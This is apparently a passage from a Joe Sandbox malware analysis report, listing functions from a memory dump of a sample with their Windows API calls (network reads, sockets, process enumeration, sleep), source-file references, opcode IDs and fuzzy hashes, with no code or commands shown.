Function 004070A7 Relevance: 1.5, APIs: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000C7,?), ref: 004070C0

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 546b1b817affd0ba002faa5689473d396effbf13e0107113c382e3037954a148
Instruction ID: 087524e99e2e36aa6c24c0d744c8560dd19395c8f046e54837bd47bfdc5e2b69
Opcode Fuzzy Hash: 546b1b817affd0ba002faa5689473d396effbf13e0107113c382e3037954a148
Instruction Fuzzy Hash: 2DE012B6741111ABEB1CC764CC659BA7A66AF96280B24413CA41797AD0E631A901C651

Function 00406333 Relevance: 1.5, APIs: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 0040634C

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: b9918eb97e5bea99c1d356312d8d340aa729f123eee411683adfacc09c233fb8
Instruction ID: e80a74c448b2809dfa2cf42497063a6acbaa13e565d0bdd883d0bc87c2d4b46b
Opcode Fuzzy Hash: b9918eb97e5bea99c1d356312d8d340aa729f123eee411683adfacc09c233fb8
Instruction Fuzzy Hash: CAE08CB6B0020BEFEF08CF04CCD1E65B3BAAB8430472480289405DB399E671ED028B50

Function 00422384 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00422398

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 626707349cb6978d03d3e19a4fb391f0d79e528f92faa6b35c17b36f3a53c805
Instruction ID: 7bdeb3cd2f91353ee1d3f4ce7728727f60221488556750a91bea947e3788f92e
Opcode Fuzzy Hash: 626707349cb6978d03d3e19a4fb391f0d79e528f92faa6b35c17b36f3a53c805
Instruction Fuzzy Hash: CBD05B753001025FF718CB59CC93F593356A755304F1C4524F602DB6D5E560D8028744

Function 00407913 Relevance: 1.5, APIs: 1, Instructions: 17filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 0040792F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 424e219dfdf8514739f52499651c48f9878a3e7104e72651a24c05815333082c
Instruction ID: 79d45554b27fa09bf4581156ee703008adca5f77a3fafbdbf00c8d7df8431c84
Opcode Fuzzy Hash: 424e219dfdf8514739f52499651c48f9878a3e7104e72651a24c05815333082c
Instruction Fuzzy Hash: 17E012B6B421569BEB18CB65DC91E9E337AEB56200B05802CA506A7250E930AD51CB90

Function 00404F86 Relevance: 1.5, APIs: 1, Instructions: 17filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 00404F9F

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 571e24645761fac644e174942f847ef6c0013c5ba2d74888f91d1e860bba1106
Instruction ID: 2cce16e57b110384986bc3907c8539cc9eec47c1517a23192c1d69bd0d79c129
Opcode Fuzzy Hash: 571e24645761fac644e174942f847ef6c0013c5ba2d74888f91d1e860bba1106
Instruction Fuzzy Hash: C6E0C231B241119FD304EB94DC84D0677B6ABD57003048438A401DB358E231AD01CB40

Function 00420268 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,?), ref: 0042027D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 3cf2509ff0fc67728fd6910ac9e61a6febb8140007dbc3dabbb60ed7bbd7c3ca
Instruction ID: 472f168c98467f6050b8b6ae28b630018f91697d413617e88336b4e14123bb41
Opcode Fuzzy Hash: 3cf2509ff0fc67728fd6910ac9e61a6febb8140007dbc3dabbb60ed7bbd7c3ca
Instruction Fuzzy Hash: 7CE017B67002419FDB0CDB58DCA1F6673E1B798200F04087CE916CB3A0FA39DC049B14

Function 00423646 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00423651

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 9e0d8f383895cfcf800a0cf09e3caa25afbf4b03fc6cf6bd0753ab5c419e899c
Instruction ID: 9abe59a6ac43a9b84b513fa3df34008672bafd94d198bd606b6e833ccc4e43ac
Opcode Fuzzy Hash: 9e0d8f383895cfcf800a0cf09e3caa25afbf4b03fc6cf6bd0753ab5c419e899c
Instruction Fuzzy Hash: 20D05B34302111EB8314CF0DDD41D56B3E9AFC6249394856CE105CB346D779DE168B59

Function 00409C5B Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 00409C6D

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: b62aeab5212f7cc365a4e332f7e80607400786f412a85baa86ec53f08c962c95
Instruction ID: e427cbbe3e3b83450029c41dc8cf312ea74f1a6a1087ca7c39bd8c843ca28d30
Opcode Fuzzy Hash: b62aeab5212f7cc365a4e332f7e80607400786f412a85baa86ec53f08c962c95
Instruction Fuzzy Hash: 2AD05B34380550D7E7249798DCD5F1562036FC0764F6C45296526BF7D1C2A55C514744

Function 0040A448 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040A45B

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: a0b38797b0c4993cb6cb6c0d406990d8ac3111ba521a743e6bbe61eb680d21bf
Instruction ID: 533c664c92f654cb3d350bcdb2dc7710a5b11fcccbc60dcf5c58030cdea738a0
Opcode Fuzzy Hash: a0b38797b0c4993cb6cb6c0d406990d8ac3111ba521a743e6bbe61eb680d21bf
Instruction Fuzzy Hash: 1ED05E30340501E7EB68CB09CC94F2676A2EFC4788F14403CA11A962E5C524EC55CA48

Function 0042351E Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00423529

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 08c310df711f07a2628d32e9ecedf022eaf25dce794c6d43b118286a36e3db00
Instruction ID: 30a14a1c631fd8df27b22c6e9e8fd007448dc770daa81c8ea299fb2972b56920
Opcode Fuzzy Hash: 08c310df711f07a2628d32e9ecedf022eaf25dce794c6d43b118286a36e3db00
Instruction Fuzzy Hash: DDD0C9B53510059FE748CB1DDCB2FA922D5EB89304F41043CE905C3391EA25EC004A69

Function 00423348 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00423351

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 297cd095a779b0ab7d3ff9f3e489e58b4ce6eb7f488052a56e857a16a7ddc70b
Instruction ID: 555c327657a875382b7c372e8fd0c9cb93023587c98246a1df3570523c5c859b
Opcode Fuzzy Hash: 297cd095a779b0ab7d3ff9f3e489e58b4ce6eb7f488052a56e857a16a7ddc70b
Instruction Fuzzy Hash: 2CD012343010459FE798CB2DCCA1F4633D5FB86308F050038B645C7391DA24D9048718

Function 0040B9F7 Relevance: 1.3, APIs: 1, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0040BA08

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9eaabe2224cfc6cedc61a79e2c437a7780a764cab66168bb6b062424f86a40c7
Instruction ID: 3e039caba67044b8d9b8e958b2cf6be79839125fb4120b1e979567a09ada8819
Opcode Fuzzy Hash: 9eaabe2224cfc6cedc61a79e2c437a7780a764cab66168bb6b062424f86a40c7
Instruction Fuzzy Hash: F8018176E00A069BC700DF6CDD41599B7B0FF966547188618E815E7311E734EBA1CB86

Function 0040BD06 Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040BD26

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c377abbe058f10c7c61271b5a3be8125000977851a4c9f7b22e962b9518e095b
Instruction ID: 0bcc5d993c2c7e37ca0594778a99a0c5f3d31ca37785c4404c3f400d8cff8a5e
Opcode Fuzzy Hash: c377abbe058f10c7c61271b5a3be8125000977851a4c9f7b22e962b9518e095b
Instruction Fuzzy Hash: 53F0A5783412059FDB49DF68C8E1B2537A2FB89318F148468ED49CB3A6DA35E815CB14

Function 0042813D Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00428149

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 106baacf015fc6d1b505aeaa1aed9208c3d8b86e2bc4becdd407fa80e2434c40
Instruction ID: 1ec6d698f8c7314eed12bf6c9099bfba818a30df57da3943142d8246e6112fd9
Opcode Fuzzy Hash: 106baacf015fc6d1b505aeaa1aed9208c3d8b86e2bc4becdd407fa80e2434c40
Instruction Fuzzy Hash: 8FD0177A6012188FE754DF48DDC17AE3361EB85308F104036EF15873A6CA79AE818788

Function 00421A85 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00421A96

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0f8be814a7971a368e9821d9d7834ddabbc1989af1d6b07cbf4874eb77a62b40
Instruction ID: 14f6cd4519ee4ebef17a717330bcb3ff299f631b71273e661ec660b2a6ef47df
Opcode Fuzzy Hash: 0f8be814a7971a368e9821d9d7834ddabbc1989af1d6b07cbf4874eb77a62b40
Instruction Fuzzy Hash: A4D0A77A3462029BDB0CCB51DCB1E32732BBF94310714C16C8902477D4EA316400CB15

Function 0042CF30 Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0042CF40

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5dea162a58ecae8de7f2311a69ea6b7820db9053f5f8bcad363771db4238dece
Instruction ID: c4cd275ba534db618227e8673299b130c2c96b59d8a8ec562d0084890e5482b0
Opcode Fuzzy Hash: 5dea162a58ecae8de7f2311a69ea6b7820db9053f5f8bcad363771db4238dece
Instruction Fuzzy Hash: BEE0EC76A40190CFC20DDB14D9D4F6873A2AB99342BA14254D626476E1EF36AD44DB2C

Non-executed Functions

Function 0041E0E1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e61c0b8d5e2f367426e7324f0f37175744ab6af927908270fc69c5008e93f3d6
Instruction ID: ca39eb156c8bddf54bc959f4273787c13651915e640ad64f1f27158ebb57cb22
Opcode Fuzzy Hash: e61c0b8d5e2f367426e7324f0f37175744ab6af927908270fc69c5008e93f3d6
Instruction Fuzzy Hash: 9B41FE4800E2E049CB1B877501A45A2BFE25CAF00D36ED5DED4D80E7A7C19BC65FEB66

Function 0041A441 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 145b51d1793cbd9eb9b6d87d260d7d6397bccdb3a6f16b6894f83505211abe0d
Instruction ID: 55653fe343b7ef201f3af6265799dff0b5692de37a88d331309c484792c482fe
Opcode Fuzzy Hash: 145b51d1793cbd9eb9b6d87d260d7d6397bccdb3a6f16b6894f83505211abe0d
Instruction Fuzzy Hash: FA41104800E2E049CB57873500A45A2BFE25CAF00D3AED1DED4D80E7A7C19BC65FEB62

Function 004188E1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 02339c60043644e321cd38f626812c8f380eb2540ba90e07b860a4592c7aa6cc
Instruction ID: bdc92db8af8e1d0789e38c910182ba15332d42f55b98a5f55b565579371e356a
Opcode Fuzzy Hash: 02339c60043644e321cd38f626812c8f380eb2540ba90e07b860a4592c7aa6cc
Instruction Fuzzy Hash: 6441F14800E2E049CB1B877501A45A2BFE25CAF00D37ED5DED4D80E7A7C19BC65BEB66

Function 00403AB1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6de38323362b8f40c5e48f59f1b96110e3efc2f8f7f76f9ef810a70f7db0812d
Instruction ID: d8a5add5266cfae9141f5d9c7df3d5cb9a71d22e410bf6a9f0e457b61fca7821
Opcode Fuzzy Hash: 6de38323362b8f40c5e48f59f1b96110e3efc2f8f7f76f9ef810a70f7db0812d
Instruction Fuzzy Hash: 5541024800E2E049CB1B473500A45A2BFE25CAF00D37ED1DED4D80E7A7D19BC69BDB66

Function 0041BBA1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 047e30779158ed0f4187a3426d7c32c5f0630b346fc1e06269548d487f3974a8
Instruction ID: 55bcae873b3e94033f6cae3582907756010dba1a60197569569204d61c0a8bf7
Opcode Fuzzy Hash: 047e30779158ed0f4187a3426d7c32c5f0630b346fc1e06269548d487f3974a8
Instruction Fuzzy Hash: D541F14800E2E049CB1B877501A45A2BFE25CAF00D37ED5DED4D80E7A7C19BC65BEB66

Function 00423CE1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c2dc2940b06acfeb083ee1fb234c540c3d799449133b5834eb68350b20ee31ce
Instruction ID: 820b2b7d136226234a07519327fb93609bfce1140adc32218f75d641a70c629c
Opcode Fuzzy Hash: c2dc2940b06acfeb083ee1fb234c540c3d799449133b5834eb68350b20ee31ce
Instruction Fuzzy Hash: 4341F14800E2E049CB1B877500A45A2BFE25CAF00D37ED5DED4D80E7A7C19BC65BEB66

Function 00423DF1 Relevance: .1, Instructions: 81COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f94a9734a1d60f026a68c07684f283ae49a54de8b2d00b85a02e45292fe392de
Instruction ID: 86f345130614862c5225c6e6043246a8f47ba5c47b66b34365144755cce3a3f9
Opcode Fuzzy Hash: f94a9734a1d60f026a68c07684f283ae49a54de8b2d00b85a02e45292fe392de
Instruction Fuzzy Hash: 9341DF4800E2E049CB1B877500A45A2BFE25CAF00D37ED5DED4D80E7A7D19BC65BEB66

Function 00432081 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0fca52bc2d7e7002e4bc6e58803b75b4d7a99ed2d7ecc2db949d4c87e1c69307
Instruction ID: 89483c14429544515813ae3dd4cd6a831571b457c4b1af5d9715055c661063a5
Opcode Fuzzy Hash: 0fca52bc2d7e7002e4bc6e58803b75b4d7a99ed2d7ecc2db949d4c87e1c69307
Instruction Fuzzy Hash: 3C41E14800E2E049CB1B877500A45A2BFE25CAF00D36ED5DEE4D80E7A7D15BC65FDB66

Function 004238F1 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 51e8e316311541fe1b419a896ea861d55af31f54190dbd2377e44703b87a2597
Instruction ID: cdb3c078a47de655e99bcb666d5c552d5e3f8ba2caba72014d0535d4050aaa42
Opcode Fuzzy Hash: 51e8e316311541fe1b419a896ea861d55af31f54190dbd2377e44703b87a2597
Instruction Fuzzy Hash: 6741124810E2E048CB57473500A45A2BFE25CAF00D3AED1DED4D80E7A7D19BC65FEB66

Function 00424071 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2406d4ed48e7b7686576e651036f71e68ad9cdde6267e999384c34ca67d148e9
Instruction ID: ebd952e737f548ef729ca4cdebeeb9922fa04115feea687adaf92b9450e251fd
Opcode Fuzzy Hash: 2406d4ed48e7b7686576e651036f71e68ad9cdde6267e999384c34ca67d148e9
Instruction Fuzzy Hash: B831CE4800E2E049CB1B873501A45A2BFE25DAF00D36ED5DDD4D80E7A7C15BC65BEB76

Function 0042F211 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ce086a7fdce8972250a2c859569cf51b5ba2c569c95746adf46dfe8426f62f2
Instruction ID: 9c29dee8f1657fc4fe6a80e8ea0454f25d36f576a9897e297ff249806efb7a27
Opcode Fuzzy Hash: 5ce086a7fdce8972250a2c859569cf51b5ba2c569c95746adf46dfe8426f62f2
Instruction Fuzzy Hash: 6731D24800E2E049CB1B473501A45A2BFE25CAF00D36ED5DED8D80E7A7D15BC69BEB76

Function 0042F301 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f333d63feff0157c7a4b68a738c6081381af4589de85a2914426ca390c3610f0
Instruction ID: 36804308465e7f9b1d117a710d1e96825414e712a315e608037b7ae4d468afd8
Opcode Fuzzy Hash: f333d63feff0157c7a4b68a738c6081381af4589de85a2914426ca390c3610f0
Instruction Fuzzy Hash: 9531F14800E2E049CB17473500A45A2BFE25CAF00E36ED5DED8D80E7A7C15BC65FEB66

Function 0041A811 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d89af1b6d58988c3f12129478a98e257c61972b4a96ede9b042276326bd32520
Instruction ID: 55bf3434d47a2ab859c3776b447e6478f90151af780cb53b7a0132eb08199c60
Opcode Fuzzy Hash: d89af1b6d58988c3f12129478a98e257c61972b4a96ede9b042276326bd32520
Instruction Fuzzy Hash: 0E31EF4800E2E049CB1B473501A45A2BFE25DAF00D36ED5DED4D80E7A7C19BC65BEB76

Function 004243E1 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f349007ddae636e0466f7763ae03a4f2f8c275dedaddce23bf72e45d954cd267
Instruction ID: 89338882f2c0dda51f966e059584e54cff11c84382b8a6b303549419a5800578
Opcode Fuzzy Hash: f349007ddae636e0466f7763ae03a4f2f8c275dedaddce23bf72e45d954cd267
Instruction Fuzzy Hash: 9531048800E2E049CB17873500A45A2BFE25CAF00D36ED1DED4D80E7A7D19BC65FDB26

Function 00403811 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be1f75008c173624ef04ead7fcc58bb8e891c9a6ef49b117d3cf6fa5f70c3aff
Instruction ID: 4494430e6ca7755ff175d87e90525cfefe55ed79969c0734e0d801fd8f345521
Opcode Fuzzy Hash: be1f75008c173624ef04ead7fcc58bb8e891c9a6ef49b117d3cf6fa5f70c3aff
Instruction Fuzzy Hash: AD31FC4800E2E049CB1B873500A44A2BFE25CAF00D36ED5DED4D80E7A7D19BC64BEB76

Function 0042DDE1 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a7092226b9a0e88d90020569e2d07964fc7b35bad422c46953fc994f78e6e7d0
Instruction ID: 93d3a395e82f7918908bee5bc8995b2d9fe9c2575b819ad622d8cac4360fa9ea
Opcode Fuzzy Hash: a7092226b9a0e88d90020569e2d07964fc7b35bad422c46953fc994f78e6e7d0
Instruction Fuzzy Hash: 3731018800E2E048CB1B473500A45A2BFE25DAF01D36ED5DED4D80E7A7D19BC65BEB66

Function 00418EF1 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b3cc1b1bf3bf25d1e11745a812817c40d8b9bc5cbfe93389b0a36dc134213d6
Instruction ID: cd696f9e9d8aea997884dd779d3bbd0881524676589ab812a525e40c6b8ed7de
Opcode Fuzzy Hash: 3b3cc1b1bf3bf25d1e11745a812817c40d8b9bc5cbfe93389b0a36dc134213d6
Instruction Fuzzy Hash: EA31FF4800D2E049CB1B873501A44A2BFE25CAF00D36ED1DED4D80E7A7C19BC64BEB76

Function 00423F01 Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78f75f7745480fed5945203df84a589e1e96ea416199d531ff7176e3e31010c1
Instruction ID: a679e7afa5ca874cd50417ed4d08ab62d27b94c3ae1dbe4fc78a6501ddbc50c1
Opcode Fuzzy Hash: 78f75f7745480fed5945203df84a589e1e96ea416199d531ff7176e3e31010c1
Instruction Fuzzy Hash: 7731FF4800E2E049CB1B873500A45A2BFE25CAF01D36ED5DED4D80E7A7D19BC65BEB66

Function 0041E2B1 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.2626948956.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d24870b77e0ae274217c4a44f5ae56668ef48cfdae77e32534b916f2a86f1e07
Instruction ID: 498c27faffdf16d5502414c924c1daece3672c69a349b794045607173cbc40c5
Opcode Fuzzy Hash: d24870b77e0ae274217c4a44f5ae56668ef48cfdae77e32534b916f2a86f1e07
Instruction Fuzzy Hash: 1B31F28800E2E049DB17473500A45A2BFE25CAF00D36ED5DED4D80E7A7D19BC65FEB26

Function 00430831 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

